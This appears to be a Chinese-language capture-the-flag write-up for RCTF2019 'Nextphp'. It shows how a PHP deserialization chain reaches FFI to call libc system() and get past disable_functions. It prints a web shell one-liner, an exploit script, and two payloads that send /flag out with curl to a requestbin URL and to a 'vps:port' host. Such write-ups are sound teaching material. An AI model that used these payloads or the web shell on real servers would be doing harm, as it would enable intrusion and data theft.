# [RCTF2019]Nextphp

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

非常简洁的页面:包禁了好多函数的直接 phpinfo ():(禁用的函数)

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl	set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

肯定是无法进行直接的 rce 了:

看向 php 版本:

PHP Version 7.4.0-dev

发现指针里面有个 FFI support-----------enabled(开启)

上网搜索 FFi:

# FFI:

FFI(Foreign Function Interface),即外部函数接口 是 php7.4 出的一个扩展,提供了高级语言直接的相互调用。

优点:

    没有FFI的的时候,传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了

    FFI可以让我们更加方便的调用C语言积累的大量的优秀的库,享受这个庞大的资源

缺点:

    在PHP里,FFI允许加载动态链接库 (之前一篇文章 LD_PRELOAD 劫持里有讲到),调用底层c语言的一些函数。而且与以往的传统调用C语言库的方式不同,它能够直接在php脚本中调用C语言库中的函数。 因此 FFI 扩展是十分危险的,如果被不当利用,可以直接调用底层c库中命令执行函数从而完全绕过 php 层面上的限制。

    因此,也可用来 bypass disable_function 。挺有意思

so 文件是 linux 下向当于 windows 下的 dll 文件,linux 下的程序函数库,即编译好的可以供 其他程序使用的源码和数据,即动态链接库

1.so后缀就是动态链接库的文件名。
2.export LD_PRELOAD=***是修改LD_PRELOAD的指向加载so文件
3.我们自定义替换的函数必须适合原函数相同,包括类型和参数。
4,还原LD_PRELOAD的最初的指向命令为:unset LD_PRELOAD

*libc.so.6 是默认的动态链接函数库 *

启用 FFI 需要:

  • - 使用FFI需要启用PHP7.4配置中的ext/ffi,在 php.ini 中去掉 extension=ffi 前面的 ;
    - PHP-FFI要求libffi-3以上
    - ffi.enable=true
    

    基本上 FFI 就是在预处理函数,可以使用 c 数据库里的函数

题解:

先是可以用 print_r (scandir (’.’)); 看看有什么函数发现

Array ( [0] => . [1] => .. [2] => index.php [3] => preload.php )

有个 preload.php

那么就可以写个🐎蚁剑下载源码:

file_put_contents('shell.php','<?php eval($_POST["shell"]); ?>');

preload.php:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];
 
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
 
    public function __serialize(): array {
        return $this->data;
    }
 
    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }
 
    public function serialize (): string {
        return serialize($this->data);
    }
 
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
 
    public function __get ($key) {
        return $this->data[$key];
    }
 
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }
 
    public function __construct () {
        throw new \Exception('No implemented');
    }
}

很明显是 php 反序列化(老多魔术方法可以调用了):

run 函数代码:

$this->data['ret'] = $this->data['func']($this->data['arg']);

在 preload.php 里引进了 php7.4 以上的两个魔术方法 __serialize () 和 __unserialize ()

php7.4 版本的说明:

PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup()。

当类的实例对象被序列化时将自动调用serialize方法,并且不会调用 __construct()或有其他影响。如果对象实现理Serialize接口,接口的serialize()方法将被忽略,并使用__serialize()代替。

当类的实例对象被反序列化时,将调用unserialize()方法,并且不执行__destruct()。如果对象实现理Serialize接口,接口的unserialize()方法将被忽略,并使用__unserialize()代替。

构造 执行流程为:

调用 A::unserialize(), payload参数为我们构造好的恶意data数组的序列化数据. 执行 $this->data = unserialize($payload); 设置好 $this-data为构造好的恶意data数组  -->  执行 $this->run(), 生成FFI对象 给了 $this->data['ret']  --> __serialize()会返回$this->data,可以加上['ret'] 表示FFI对象,再->system("cmd"); 调用c语言system函数执行命令

注:我们在写 exp 的时候,删掉没有必要的魔术方法 以及前面提到的 __serialize () 和

因为 __serialize () 存在的话,serialize 构造好的类实例对象就不会调用 serialize (). $this->data 就不会再进行一下 serialize 再返回。因此 我们执行过程中第一步的参数 payload 就不会是恶意 data 数组序列化数据。
exp 如下:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'     //声明
    ];

    public function serialize (): string {
        return serialize($this->data);
    }
     
    public function unserialize($payload) {
        $this->data = unserialize($payload);
    }

}

$a = new A();
echo serialize($a);

payload1(数据 外带)(推荐网站:https://webhook.site/):

?a=$a=unserialize(base64_decode("QzoxOiJBIjo5Nzp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czozNDoiaW50IHBocF9leGVjKGludCB0eXBlLCBjaGFyICpjbWQpOyI7fX0="));var_dump($a->ret->php_exec(2,%27curl%20http://http.requestbin.buuoj.cn/1f4vjz01?a=`cat%20/flag`%27));

payload2(这个是上面的解释的续版)(也算是数据外带的吧):

/?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:port');

参考链接:https://ctf.ieki.xyz/buuoj/rctf-2019.html

https://blog.csdn.net/weixin_63231007/article/details/129105223fei

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal